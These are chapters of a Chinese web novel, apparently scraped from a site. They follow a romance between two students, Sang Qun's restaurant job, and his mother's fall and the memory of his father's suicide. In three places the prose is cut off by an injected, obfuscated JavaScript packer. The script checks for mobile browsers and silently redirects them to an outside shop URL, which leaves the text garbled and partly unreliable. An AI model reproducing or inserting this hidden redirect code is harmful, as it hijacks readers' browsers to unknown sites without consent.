宁舟手里捧着一本菜单,站得不像餐饮店招待,更像是招生办门面。 干站着确实傻楞,桑群左右看了看,摸了一把传单揣手里。 早上人不多,他以前干过促销,这种高峰期前的风平浪静正是偷懒的好时机,所以站得比较随意。 后厨忙着备菜,主管只过来了一趟,说了句记得微笑待人。 桑群扯了扯嘴角,没过一会儿就累了。没有阮牧年那种从早笑到晚的能力,之前跟人谈合同的样子都是纯靠意志硬撑。 余光一瞥,隔壁同事纹丝未动,笔直得宛若一尊雕像。 桑群忍不住又看了一眼,真的没动,拿菜单的胳膊还是那个角度,脑袋平正,视线下垂,似乎研究菜单入了迷。 这么好看? 桑群看了看手里的传单,几个菜品名一眼就能看完,也没有什么传承背景介绍,都快一小时了,对方到底在看什么? 难道菜单需要全文背诵吗? 又站了一会儿,雕像终于动了……不,如动,因为对方只是上半身侧了些角度。 桑群这才看清了这人到底在干什么。 他居然,在工作岗位上,垫着菜单写寒、假、作、业! 被菜单板挡住的另一只手根本不是扶着板子,而是攥了根笔在那里奋笔疾书。 似乎是察觉到了旁边震撼的目光,又或许只是他这张卷子写完了,宁舟微微偏了下头,左眉轻挑。 桑群默默收回目光。 变态,太变态了。 比阮牧年还可怕。 虽然阮牧年有过在手上写卷子的英勇壮举,但还远不及此人见缝插针的程度。 等到饭点将近,客流量逐渐增多,作业狂终于停下手里的笔,认真工作起来。 而主管提醒过的微笑待人早已被两位抛之脑后,奇怪的是人流不减反增。 两人都不是喜欢说废话的主,揽客效率十分高效。 很快店内位置不够了,他俩又去后门搬了些桌椅支在店门口,供等座的客人歇脚。 “那两个服务员好帅啊啊,看脸我还以为是那种拽哥,结果人特别绅士,还给我拉椅子坐。” “早上我就看到有人发帅哥门神的笔记,所以中午火速赶来支持!” “有人知道他俩是长期工还是大学生兼职啊?” “有姐妹敢去问联系方式吗?要不要组队?” …… 等座客人间的交谈并没有传进桑群耳里,许久没有如此高强度动嘴了,他有些口干。 好不容易捱到午后,用餐的人没那么多了,桑群打算去后面休息室里喝点水。 就在这时,有个长发女孩走过来,她穿着宽大风衣,头戴针织帽,脸上还架着一个大墨镜,看不清面容。 很明显不是来吃饭的,因为对方直朝桑群走来,跟他搭讪:“听说这里今天有美颜盛宴,本来我还不信呢。” 桑群皱了皱眉,刚想开口,这人又凑到宁舟那边去。 “小哥哥这么帅,加个联系方式呗,”那人笑得轻佻,“我可盐可甜萝莉音哟。” 还以为会听到冷酷拒绝,没想到反而是宁舟愣了愣。 “你怎么跑来了,”宁舟拉开他,“别捣乱。” “在网上看到你了,凑热闹,嘻嘻。” 认识?桑群看了他们一眼,站得还挺近,看来不是没分寸的麻烦客人。 对方后面说话的声音变低了,桑群意识到他的声色更偏向男声,一开始是故意掐着嗓子跟人说话的。 想起了阮牧年跟他分享过的特别漂亮的长发男生,就是这位?是挺漂亮的,可惜还是年年最可爱。 暂时应该没什么人,桑群跟宁舟说了声,往休息室走去。 喝水的时候,他看了眼消息,小番茄还是没回他。 难道昨晚逗得太狠了吗,桑群肤浅地反思了一下自己,感觉并没有很过分。 戳一下好了,他打开相机,学着网上常见的构图用手机挡住脸,对着镜子里的工作服拍了张照片,然后发过去。 对面秒回。 【Ruann:哇谁家帅哥掉这里了,我可以捡走嘛?】 【阿君羊:不可以】 【Ruann:为什么?】 【阿君羊:有人不让】 【Ruann:?】 【Ruann:谁啊,怎么如此霸道】 【Ruann:[小狗沮丧]】 【阿君羊:[回复]我家宝贝】 对面又安静了。 脸皮怎么这么薄,桑群想象了一下对方头顶冒烟的样子,最终还是心软没再逗下去。 双击头像,拍拍他递个台阶吧。 【阿君羊拍了拍Ruann说你最乖了,抱抱】 桑群:“?” 什么时候改的文字? 【Ruann:破案了,原来我就是你家宝宝】 【阿君羊:……是】 【Ruann:[开心转圈圈]】 【Ruann:太好了,我要把照片抱回家天天舔】 【阿君羊:?】 【Ruann撤回一条消息】 【Ruann:打错字了,我是说日夜欣赏】 【阿君羊:……】 真没看出这几个字之间有什么关联之处,能让人打错。 【Ruann:[图片]】 【Ruann:刚才做到一道题,题目条件有问题,可以不做哦,你记一下】 【阿君羊:哦】 【Ruann:我理科作业就差半张卷子啦】 【Ruann:[咧嘴大笑]】 【阿君羊:?】 【阿君羊:你们都是什么魔鬼?】 【Ruann:们?你还遇见谁啦】 桑群简要描述了一下自己瞥见的奇观。 【Ruann:他肯定做得没有我快,最多做完一张物理卷】 【阿君羊:你怎么知道是物理?】 【Ruann:嘻嘻,不告诉你,你可以去求证一下】 【阿君羊:啧】 这时,一个电话打了进来。 备注秀姨,桑群接了起来。 自从以阮经理的身份在厂里露过面,他或多或少接手了一部分工厂里的事务。 秀姨是跟着桑母一路走来的女工,也算是看着他长大的,厂里有什么事都会跟他说一声。 这次她打电话过来,常规讲了几句厂里最近的状况,以及新接到的单子:“……大概就是这些,工厂运作得很顺利。哦对了,新做的牌匾也送来了,过两天就会装上。” 桑群:“辛苦您了。” 又寒暄几句,他挂了电话返回工作岗位,宁舟朋友正站在他的位置,暂时帮他顶了一段时间。 “你回来啦?”他已经摘掉了墨镜,弯起的眼尾宛然如钩,“辛苦你们了,刚才我试着招揽客人,她理都不理我。” 宁舟端着菜单板,语气淡淡:“人家一看就是吃过午饭的,怎么可能理你。” 桑群看他的姿势,低声问了句:“物理?” “嗯,”应完宁舟才反应过来,微微抬首,“猜得挺准。” 桑群拿起传单:“为什么肯定是猜的而不是看到的?” 宁舟:“猜的。” 桑群:“?” 宁舟:“而且,大概率是阮牧年帮你猜的。” 桑群:“你们……” “没串通,”宁舟说,“我手机不在身上。” 桑群微微皱眉:“你们还有联系方式?” 宁舟顿了顿:“嗯。” 杜闵挑了挑眉:“哟,四处结交别人可不是你的风格。” “你怎么知道不是?”宁舟反问完他,看向桑群,“……确实不是。” 杜闵丝毫不给面子地嘲笑了他一声。 “不是还要逛商场吗?”宁舟瞥了他一眼,开始赶人,“赶紧去。” “喔,没面子,下不来台啦,”杜闵戴上墨镜,双手插兜慢悠悠的走远了,“走就走咯,维护你的玻璃心一下……” 没有旁人在场,桑群的问题更好问出口了:“你跟阮牧年是怎么认识的?” “偶遇,”宁舟说完抱着板子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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桑群在休息室喝水,眼看快要晚高峰,准备先去应付一下晚饭,就在这时,休息室的门被人推开了。 宁舟进来后迅速反手将门抵住锁上,手肘撑着门板微微喘气。 房间里只有他们两人,桑群微微皱眉:“你怎么了?” 根据安排,宁舟应该是出去吃饭刚回来,看着好像是跑回来的,店里也不忙啊。 宁舟显然没注意到休息室里还有人,他侧首往后凌厉地瞥了一眼,看清是桑群才缓和下表情。 “遇到几个混混,”他松了松手腕处的衣扣,捏着小臂走向物品架,拿出自己的水壶,“我避一下……你着急出去?” “没,”桑群看了他好几眼,还是没忍住,“你说的……是追债的?” 宁舟喝水的动作顿了顿,站在架子前背对着他没说话。 上次对方就不乐意深聊,看来是问不出什么了,桑群盘着手机,思索起晚饭。 宁舟却忽然开口了:“你认识一个姓黄的男人吗?” 桑群一愣:“黄……” “你应该认识,”宁舟的语调十分肯定,“阮牧年那时候说过,他见过追我的那个人。” 专门负责讨债的黄哥,他当然知道,之前工厂的牌匾就是这人砸坏的。 可宁舟为何突然提起这个? “还记得我之前说过的同类么,”宁舟靠在墙边,袖口露出的一截手腕上留有旧伤,“在那条巷子深处,藏着一个‘窝点’,是无数赌鬼狂欢的天堂。 “有个外包公司承办了这里,与之相关的所有金钱交易都由某群特定的人来处理,而这群人的头儿,你我都很熟悉—— “就是那个姓黄的。” 桑群看着他:“我不明白你在说什么。” 宁舟目光凝滞:“抱歉,可能我的表达比较晦涩。” “我想说的是,很多赌鬼赌博欠下的债款,都会由黄哥和他的小弟负责讨回,”宁舟说,“但你不一样。我想,你们家应该没有沉迷赌博的人,可你们家的债务一直由他负责……” 桑群依然不明白他的意思:“难道这其中有猫腻?” “可能。或许是我想多了,”宁舟闭了闭眼,“不知道你是否听说过‘青巷案’……一个十几二十年前的老案子了,发生在东城那边,那时引起了很大的轰动,一举抓获了当地一股相当庞大的黑恶势力。” 桑群:“你什么意思?” 宁舟喝了口水:“实在不明白的话,就忘了这些话吧,说到底只是一些上不了台面的阴谋论罢了。” 跟学霸说话太累了——年年除外——桑群二丈和尚摸不着脑袋,问过宁舟后推门出去了。 家里的债款一直在缓慢地还清,什么赌博也离他十分遥远,与其想这些乱七八糟的,不如先搞定今晚的晚饭。 骑共享单车到附近的小饭馆应付了一下,他骑车回来,刚在后门角落还好车,眼前忽然一黑。 有人神不知鬼不觉地拿布条蒙住了他的眼睛。 桑群心里一紧,不由得想起那些什么黑恶势力的话,正要挣扎脱身,后背贴上一个温热的胸膛。 “哇好帅的哥哥,”那人贴着他的耳朵吐气,“跟我走好不好呀?” 67. 67 桑群紧绷的神经松懈下来:“年……唔。” “不准喊,喊破喉咙也不会有人来救你的,”霸道的绑匪一把捂住他的嘴,“你只能乖乖地跟我走哦。” 行吧,桑群依着他点头,表示自己绝不反抗,任人宰割。 没想到阮牧年假戏真做,居然把眼睛上的布条绑得严严实实的,按着他的肩膀走。 也不知道走去哪里了,只知道到达目的地后,自己被人非常潇洒地甩到墙上,又似乎是怕自己摔疼了,连忙伸过来一只手在他后背垫了一下。 四下安静,应该可以说话了。 被绑了以后该怎么做?哦,对了,桑群说:“放开我。” “好啊。”阮牧年说。 桑群:“?” 这绑匪性子也太软了些吧。 “但是轻易放你走,那我辛苦把人抓回来的功夫不是白费了嘛,”阮牧年蹭了蹭他的鼻尖,“小帅哥,你求求我吧。” 在这等着他呢,桑群冷哼:“那你撕票吧。” “诶?你怎么能这么无情,”阮牧年放低声音,“嗷,我明白了,你心里有人了,所以根本看不上我。” 桑群:“?什么东西。” “你家里是不是有个宝贝?会拍他头,夸他乖,还会抱他,”阮牧年幽怨道,“不像我,想听你求饶一句都不行。” 桑群听完一阵无语:“你写卷子写坏脑子了吧。” “你甚至还骂我!”阮牧年控诉道,“他就那么好?” 怎么还代入了,发什么神经,桑群都快不知道怎么接了:“对,很好。” “我不会原谅他的,”阮牧年恶狠狠道,“你只能是我的。” 到底哪里背来的剧本,台词好烂,桑群正想出声吐槽,后颈忽然被人拢住。 阮牧年直接上前堵住他来不及出口的话,软舌随即缠上来。 什么鬼,视线被布条遮挡住,桑群无法判断周遭的环境和阮牧年的状态,唯一强烈的触感就是对方不断吸|舔深入的唇,后颈还被扣住,十分被动。 不讲武德的家伙,桑群抬手想摘布条,却被阮牧年掐住手腕按在墙上。 “不要分心,”阮牧年虚虚咬着他的下唇说,“感受我。” 桑群:“唔。” 哪里学来的台词,怎么这么……没等他想出个形容词,所谓的感受涨潮般涌上,很快吞没了他剩余的感知。 几天不见,阮牧年好像更缠人了,一开始喜欢咬人,现在学会多用舌少用齿,一点点粘着人往里面探。 他拢在桑群颈后的手偷偷伸出一根拇指,蹭到前面来,在桑群喉结处按了按。 “呃。” 桑群没被按住的手瞬间抬起来,想要拉掉阮牧年的胳膊,然而对方的动作更快,趁他松懈便往腿间挤进一个膝盖。 心里漫开一阵不安,有些强硬甚至侵略感十足的动作,跟阮牧年平日里的形象大相径庭,双眼却被遮住,无法通过视觉使自己安心,只能放任这种忐忑疯长。 不行,眼前的黑暗实在恼人,差不多该停下了吧? 没等到阮某撤开,先等来了重见光明。 布条不知为何散落,视野重新明亮,桑群眯起眼睛适应光线,很快一只唇凑过来吻了吻他的眼皮。 “桑桑,”阮牧年松开抓他的手,揽着后腰抱住他,“你看不见的样子好呆,好可爱。” 桑群眨了眨眼,终于看清了面前的人,熟悉的亮晶晶目光,习惯的乖巧表情,是阮牧年没错。 没等发问,就先被眼前人捧着侧脸,摸上耳垂。 “好烫,”阮牧年偏头吻在他鬓边,贴着他说,“我也脸红了,比你还烫。” 摘了布条还是插不上话,一会儿被亲这儿,一会儿被亲那儿,一想说话就被人用手指揉嘴唇,真的好烦。 特别是之前这家伙学会了怎么躲避他的牙齿,如今想咬他一口让人清醒清醒都难。 好不容易阮牧年的主要战地转移到脖子上,桑群捏着他的后颈,声音泛哑:“黏糊够了没?” “你嫌我了?”阮牧年立马委屈地看向他。 “不是,”桑群招架不住这种眼神,偏过头去,“不能呆太久,待会儿还有客人……” “哦,”阮牧年贴在他脖子边收紧胳膊,“想赶我走了。” 桑群:“……你还没出戏吗。” “难道你把这些都当成演戏?”阮牧年咬着他的脖子说,“原来我期待的一切……不过是泡影,呜呜。” 服了,桑群躺平了:“随你。” “好敷衍,渣男。” “我不喜欢善妒之人,”桑群挑起他的下巴,以其人之道还治其人之身,“你不如我家宝贝听话。” 阮牧年:“什么?!” 桑群捏着他左右看了看:“不过如此。我要去上班了,让开。” “我叫人帮你顶替了,”阮牧年红着眼睛堵他,“你把话讲清楚再走。” 桑群:“讲清楚什么?” “你说我不过如此……!” “本来就是,”桑群不咸不淡地说,“不然我怎么够得上你。” “……” 阮牧年噎了一下。 “你还说我不听话……!”阮牧年继续说。 “太乖了容易被欺负,”桑群平静地看着他,“现在这样刚刚好。” 阮牧年沉默下来,无声地注视着他,身后一条隐形的尾巴不自觉地晃起来。 “还有什么不满?”桑群问。 “我刚刚在你脖子上咬了一口,”阮牧年偏了偏脑袋,“你能不能咬回来?” 什么破要求,桑群顺着他凑过去咬了一口,在皮肤表面留下一层湿润的水痕。 “好了。” “另一边……” “不要得寸进尺。” “好吧,嘤。” 桑群摸了摸他的脑袋,打量起周围的场景:“这是哪里?” “一个废弃的仓库,我前几天过来踩点的时候发现的,”阮牧年往他掌心里蹭了蹭,手还抓着他后腰的衣料没放,“这个墙我擦过了,还喷了酒精消毒。” 桑群一时不知说什么好:“这么周到……找个干净点的厕所不好吗?” “不要,有味道,”阮牧年摇头,“我偷偷喷了香水,你闻出来了吗?” 什么香水,桑群:“没,什么味?” 阮牧年吧唧一口亲在他鼻子上:“年年味呀。” 空气里甜分都超标了,桑群喉结轻轻滚动了一下,抬手揉了揉对方柔软的脸蛋:“……闻到了。” 阮牧年歪着脑袋,倒在他手心里笑。 真可爱啊,手上揉捏着,桑群问:“你找谁顶班了?” “谁也没找,”阮牧年说,“你出去吃个饭才15分钟,多休息一会儿怎么了?店里再忙也不能压榨员工吧。” 桑群呆住,连忙直起身:“你个笨蛋。今天是周末,回去晚了只会更忙,我得走了。” 阮牧年揪着他的衣角缀在后面:“你们老板也太没人道了,他就不会控制一下客流量吗?我为了见你突破了完成假期作业的最快记录,结果只待了没两分钟……” 走在前面的人忽然停步,阮牧年来不及刹住,就被桑群抓着领口拽进怀里,颈下一痛。 他轻嗯一声,桑群顿时收回牙齿,抿唇吮了一下,安抚地舔了舔那块地方。 阮牧年低下头,看见自己锁骨边红了一片。 “你要的另一边,”桑群摸着他的后脑哄道,“不生气了,找个奶茶店坐着,或者去休息室等我,其他的等下班再说,嗯?” 阮牧年鼓了鼓脸颊:“……好吧。” 桑群跟他对了对额头:“你最乖了。” “那当然。”阮牧年总算没再撇着嘴了。 回去碰上宁舟,店里的人已经多了起来,门口的位置还没人站着。 桑群正准备过去,却听宁舟说:“你去后厨吧。” “为什么?”桑群不解,“下午我就是后厨。” “你没照镜子吗?”宁舟只是看了眼他的脖子,“记得拉一下领子。” 桑群闻言一愣,转头对着玻璃门照了照自己。 脖子边有块很明显的红印。 他赶紧竖起领子,不对吧,阮牧年只是咬了他一口而已,怎么看起来……跟被亲了很久似的。 啧,大意了,下次不能让他咬这么明显的地方。 返工前桑群给阮牧年指了休息室的路,也不知道这家伙会去哪里等,眼下还是逐渐忙起来的工作比较重要。 好不容易撑过了这阵高峰期,桑群支着腰缓了口气,没几小时就要收工了。 他往外面张望了一下,没看到熟悉的身影在徘徊,看来确实乖乖等着。 盘算一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356345|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下晚上的安排吧,下班差不多要十点往后了,送阮牧年回去肯定不现实,干脆回自己家睡得了。 以前阮牧年也留宿过,就是家里的枕被还是单人的,得从柜子里再拿一套…… 剩下的时间在出神中悄然滑走,主管通知他们可以收拾一下回家了,桑群第一个走向休息室。 里面没人,也是,毕竟被人问起来不好解释。桑群拿出自己的衣服去换好,从前门出了店。 附近的其他店铺基本都打烊了,零星几家还亮着灯,状况都很萧条,也并不适合坐着等人。 也不在商场里? 一阵冷风吹过,掀开他一边的风衣衣摆。将近深夜,商场内的供暖已经停了,深冬的凛寒正一点点渗透进来。 不知为何,他抬眼望向玻璃穹顶,夜幕高悬着一轮残月,弯钩尖细锐利。 桑群微微皱眉,说不清心里的异样感,折身返回店内,拿上东西从后门离开。 来到共享单车站桩附近,月光投在地面上,一抹黑影悄然从身后靠近。 桑群一个不稳,后腰撞到了车座上。 “嗷呜——”阮牧年凶神恶煞地扑到他身上,“新月初升,狼人出没……啊,我是不是撞疼你了?” 表演欲怎么这么旺盛,心里的不安被他闹得驱散了些许,桑群直起身来叹了口气:“你真该管一管你那手劲了。” 还有嘴劲。 把人咬出吻痕来也是没谁了。 “我真的没用力……”阮牧年无措地围着他转,手举在半空不知道该放哪里,“你砸到哪里了,疼不疼啊?我帮你揉一揉吧。” “没事,”这点疼痛转瞬即逝,桑群没放心上,“你从哪里窜出来的?” “那里。”阮牧年指了一个隐蔽的角落。 桑群:“……你不会在那里蹲了一晚上吧?” “没有,我又不傻,”阮牧年说,“我在旁边咖啡厅等的,看你们快下班了,提前出来埋伏,嘿嘿。” “外面风大,”桑群伸手帮他拢好翻开的衣领,“今晚跟我回家?” 阮牧年眼睛亮了一下:“好啊好啊。” “你就等着这句吧。” “没有哇,万一你冷酷无情忍心让我一个人孤零零地回杂物间里睡觉,我也没办法的。” “就知道卖可怜。” “我不可怜吗?你可怜可怜我吧。” “不可怜,”桑群忽然偏过头,毫无征兆地在他唇上印了一下,“是可爱。” 阮牧年呆了一下,眨了眨眼睛,又开始抓桑群的衣角:“再来一下。” “在外面呢,”桑群扫码借车,“回家再说。” “再来一下嘛,就一下,”阮牧年缠着他,“现在又没人……回去以后我才不敢呢。” “有什么不敢的?” “你家里又不止你一个人!” “你不是偷情大师吗,这也怕?” “桑群……!” 这就恼羞成怒上了,桑群逗人逗得心情愉悦,扶着车把正准备说些顺毛的话,兜里的手机震动起来。 “嗯?”这个点谁会给他打电话,桑群把车交给阮牧年,“帮我扶一下,我接个电话。” 来电显示秀姨,桑群轻蹙起眉,方才消散的不安又重新升起。 “小群,”秀姨的声音发着颤,尾音嘶哑,“你回家了吗?你妈妈从脚手架上摔下来了……” 听完这句话的刹那,桑群的大脑空白了一瞬,四周的声响骤然遥远,被无形的屏障隔离开来。 而刺破这种失聪状态的,是一道尖锐的破裂声。 旁边的阮牧年吓了一跳:“什么动静?” 桑群僵硬地看向店面后门,一个熟悉的人影走出来,面容呈现在暗淡的月光下。 宁舟的脸色有些难看:“那个吊灯掉下来了,有人被砸伤,还出了血。” “吊灯?”阮牧年问,“之前都没有排查隐患吗?” “之前只是轻微晃动,据说是换衣服的时候手臂不小心碰到,就掉下来了。” 身边人的对话仿佛被深夜流风罩住,音量轻而渺然。 紧攥到毫无血色的手指间,话筒那头,秀姨带着哽咽的嗓音无比清晰。 “大晚上的,她忽然说要亲自挂那个牌匾,结果就……我们现在在救护车上,小群,你快来医院一趟吧,你妈妈状态不太对劲……” 68. 68 他们赶到医院的时候,先在清创室见了秀姨。 虽然电话里她只叫桑群快来看他妈妈,但实际上她自己也受了伤,今女士摔下来的时候,她一直在下面看着,出了意外第一时间去接人,最后腿部大面积擦伤,脚似乎也崴了。 “当时到底发生什么了?”桑群握着她的手,欲言又止,“怎么会……” “你妈妈不知道抽了什么风,硬是要今晚去挂牌匾,”秀姨摇头叹气道,“我说等明天天亮了挂得准,她偏说就要下班挂好,这样第二天大家都能看到新牌子。 “我拗不过她,只好在底下给她打手电。结果挂到一半的时候,她在上面接了个电话,也不知道说了什么,架子抖动了一下,人就掉下来了……” 桑群抿了抿唇:“您受惊了。” “哎哟,这算什么啊,你妈妈才是伤得更重的那个,”秀姨连忙摆手,“你赶紧去看她吧,她虽然没砸到脑袋,但状态很不对劲,问啥也不说……” 阮牧年从身后挤过来:“你去看阿姨,秀姨这里我陪着。” 秀姨稀奇地打量他:“喔,你是谁家的小娃,真俊嘞。” “秀姨,我姓阮,是桑群的同学。” “阮?”秀姨琢磨起来,“那阮经理居然不是瞎编的啊?” 阮牧年没听懂:“什么经理?” “没什么,”桑群轻咳一声,拍了拍阮牧年的肩膀,“那就……辛苦你了。” 阮牧年扔开他的手:“你赶紧去吧。” 没有先去看桑母,桑群自己也说不清心底的情绪。 那股浅淡却始终萦绕心头的郁结之气,随着他踏入医院变得强烈起来,在右手按上门把的时候引人指尖发颤。 门后未知的景象令他惶恐。 推开后,会看见什么?是泪流满面的母亲,面色肃穆的医生,还是一片几乎望不到尽头的白茫? 深吸一口气,桑群咬着牙推开门。 空荡的病房内,只有一张床坐了人,桑母靠坐在那上面,面色平静。 他心里陡然松了口气,迈步进来后合上门,走到床边坐下。 “妈?”桑群试探开口。 近看才能发现对方平静的神情并非恬然,而是一种空洞的发呆。 桑群又喊了好几声,桑母才回过神看了他一眼。 她皱起眉:“你怎么来了?” “你出了这么大的事,我还不能过来看你吗?”桑群搭上床沿,想去抓她的手,“怎么那么不小心?” 桑母却避开了他的动作,别过脸去:“你不说我也知道,肯定是丽秀那个爱多管闲事的叫你来的。摔了一下腿,搞得好像得了什么绝症似的。” “妈,”桑群不赞同地喊了她一声,“秀姨也是好心,她还护了你一下。好端端的,为什么非得大晚上去挂牌子?这次可不是轻伤,骨头差点碎了……” “为什么不挂?!”桑母忽然朝他呵斥了一声,“让所有人眼睁睁地看着别人把我们的牌子砸烂,然后再可怜巴巴地当众给它挂回去吗?叫别人看我们笑话就没关系了,是吗?” 桑群皱了皱眉:“什么叫看笑话……” “这还不是笑话吗?”桑母冷笑一声,“谁家的债还了十年还没还清,顶着赤字算账,每个月好不容易到手一点又全部还回去了,我连生个病都不敢看医生,精打细算着那点钱,守着这个苟延残喘的工厂……早知道当初,我就应该……” “妈!” 桑群喝止她,死死盯着她的眼睛,放在病床上的手已经攥被单攥得发白:“你想说什么?” 桑母对上他的目光,原本宣泄到嘴边的话又咽了回去,她垂下睫毛,不忿的怨气削弱了大半:“……没什么。” 病房内陷入一阵死寂,没有人开口说话,可不安如同瘟疫无声蔓延。 眼前是不愿看他的母亲,洁白的被褥,以及缠绕在她伤处的绷带,身后病房的窗户只留了一条缝,窗外的北风鬼哭般呜呜作响。 桑群坐在凳子上,过往的伤痕就像毒雾,哪怕伸手揭开分毫,也会被那浓重的悲痛裹挟得喘不过气来。 小时候他喜欢自诩勇士,后来才发现这世上的坎坷太多,原来他并没有自己想象的那么勇敢。 他总说阮牧年是胆小鬼,其实他自己也有一直在逃避的事物。 母亲的沉默,如同一根尖锐的银针戳进那道旧疤边缘,撬开一丝血肉。 好疼好疼,才忽然清醒些许,忽然有了决绝的勇气。 有种如果现在不说出口,或许就再也抓不住的感觉。 “妈,”桑群开口,嗓音低哑干涩,“爸爸已经死了,连你也要抛弃我吗?” 桑母的睫毛猛颤了一下,她喉中含糊地呜咽了一声,抬起脸红着眼瞪他:“我什么时候说……” “你刚才不就是这样想的吗?”桑群佯装平静地跟她对视,指甲嵌进掌心生疼,“如果当初,你跟他一块跳下去就好了。” 软弱的人只要有一瞬间孤注一掷的勇气,就可以享受长久的安眠,可拼命活下来的人却要忍受生活日复一日的苦难与煎熬。 太不公平了。 如果可以选,谁不想当那个跳下去的人呢? “你看不起谁呢,我又不是桑远那个混蛋!”桑母咬着牙骂他,“我只是……” “只是什么?”桑群的目光不曾挪移,“自从我放假回来,你就经常早出晚归,根本碰不上几次面。为什么刻意躲我?为什么会摔下来?给你打电话的是什么人?” “哪儿有那么多为什么……” “妈,你还记得当年的痛苦吗?”桑群强硬地抓过她的手,用力按在自己掌间,“如果有一天我失去了你,我会跟你一样痛苦。” 桑母再也忍不住,捂着眼睛低声抽泣起来。 走出病房的时候,世界一时间变得十分安静,只有他走动的声响。 嗒、嗒、嗒。 是钟表指针的声音,还是自己的脚步声,他已经分不太清了,连自己要走去哪里也不知道。 只记得后背靠上一堵冰冷的瓷砖墙,他瞬间失力,从墙上滑坐下来。 耳边还环绕着一些语句,颠三倒四,时序错乱。 “放假前几天,我收拾房间的时候发现了这个……” “一份账单预算,准确来说,是一家两口的估算。” “嗐你听说了没?有户人家死人啦,还是家里的男人,三更半夜从顶楼跳下来,早上才被人发现!” “我知道我知道,据说是在救护车上咽气的,哦哟,我看这以后呐,这片的房子都没人敢租咯。” “经判定,死者桑远系畏罪自杀……” “所有人都说他是畏罪自杀,欠下天价债款,没脸再活下去……可这份账单怎么解释?提前买好的保险怎么解释?他到底是畏罪,还是故意的?” “翻出这些东西后,我总是忍不住去想当年的事情是不是另有隐情?他那么顾家的一个人,怎么舍得抛下我们俩……” “小群,你妈妈状态有些不对劲,你看望她之前最好先去跟医生聊一聊。” “你是今女士的儿子吧?是这样的,你妈妈在救护车上情绪有点激烈,你妈妈的朋友比较担心,我们就查了一下她的病历,发现她确实有心理问题的咨询记录……” “桑群,我又梦到他了……他跟十年前一模一样,还问我工厂最近怎么样,我一时兴起,便想今晚就把牌子挂上。” “然后我就接到了那个人的电话,他自称是你爸爸的律师……” “记录上显示,你妈妈有轻度的焦躁症状,心理压力比较大,虽然不是很严重,但已经持续了很多年……” “那个律师居然说,他有那天晚上的监控录像,可以证明顶楼不止桑远一个人,他要约我面谈……” “你跟她沟通的时候,语气尽量缓和,不要刺激她的情绪。” “桑群,你让我怎么能不激动?就算是巧合,就算是骗子,这十年来我一直不相信他是自愿跳下去的……万一呢,哪怕有万分之一的可能……” …… 指缝逐渐挤满了发根,前不久刚修整过的指甲不自觉地开始按压,膝盖下是医院年久泛黄的地砖,反射着晃眼的白光。 不知过了多久,一道人影笼罩了他,熟悉的运动鞋在他面前停下。 抓着头皮的手指被人一根一根掰开,来人蹲下来,将什么东西盖在了他脑袋上。 “实在难受的话,”阮牧年按着他的脑袋,放轻的嗓音有如天籁,“就躲进帽子里哭吧。” 盘旋在脑中的那些混乱又嘈杂的声音渐渐远去,随着阮牧年话音落下,记忆里另一道稚嫩坚定的声音愈发清晰。 “阿君羊哥哥,求你不要跳下去……” “就当是为了年年,跟我一起活下去吧……” 帽子里,视线被帽檐挡住,刺眼的灯光无法伤害到他的眼睛,他闭上眼,无力垂落的双手微微抬起,抓住了另一个人的衣摆。 下一刻,他就被人抱进了怀里。 阮牧年怀里的味道有些陌生,他想起放假回去后,他们用的不再是同一款沐浴露,想来舅妈家不会给他用多好的牌子,清香里掺着劣质的工业香料味。 巧合的是,当年跪在天台上挽留他的那个年年,身上的味道跟此刻类似。 好像回到了温暖安心的小时候,还没尝遍生活的苦头,没有经历至亲的别离,错综复杂的阴谋也与他毫不相关,躺在好朋友的身边,抬起手就能摘到星辰。 那些普通到毫无记忆点的日子,偏偏是他如今最想回到的过去。 阮牧年的手移到桑群后背上,掌心传来怀中人难以抑制的颤抖,他沉默地拥抱这一切,包括桑群从不示人的脆弱。 桑群的泪是无声的,阮牧年从未听过他的哭声,此刻也是。 泪水只会从那双眼中飞快地滑落,悲痛转瞬即逝,因为泪流满面毫无意义,咬着牙才能艰难地活下去。 今天或许有些不同,桑群没有跟从前一样很快收拾好心情,他在自己怀里颤抖的时间有些久了。 阮牧年摸了摸他的脊背,轻声道:“桑桑,你弄湿我的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“很难办吗?”阮牧年握他手腕的手指上下抚摸了两下,说,“那就先好好休息一下,交给明天好了。” “明天也解决不了呢?” “那就交给后天。” “万一一直都解决不了呢?” “一直都解决不了的话,说明这件事可能并不需要被解决,”阮牧年摸着他轻声说,“世界上有很多得不出结果的事,像衔尾蛇、莫比乌斯环,或者克莱因瓶,它们存在的本身就是意义。所以得不出结果的时候,就先享受当下吧。” 桑群默了默:“克莱因瓶是什么?” “一种理论上永远填不满的瓶子,”阮牧年笑了笑,“想了解吗?我可以简单介绍一下……” “不用了。”桑群及时打断他。 “噢。”阮牧年有些失望地住嘴。 桑群又说:“我好多了。” “太快了吧,你还没大哭一场呢。” “我不是你,小哭包。” “要是偶尔松懈一下,会轻松许多。” “我妈还躺在里面呢,这几天我估计都要睡在医院里了,”桑群又开始盘算,“你今晚……要不我送你回去吧?” “太晚了,会被骂的,”阮牧年摇摇头,“我可以去你家睡吗?就一晚上。” 桑群考虑了一下:“我把钥匙给你。你不想回去的话,一直待着也没事,顺便帮忙照顾一下阳台的盆栽。” “包在我身上,帮你养到开花结果。” “……那些都是草。” “我是说,养到葱翠欲滴。” “嗯。然后这几天的兼职我问下能不能请假,实在不行只能再找一家……” 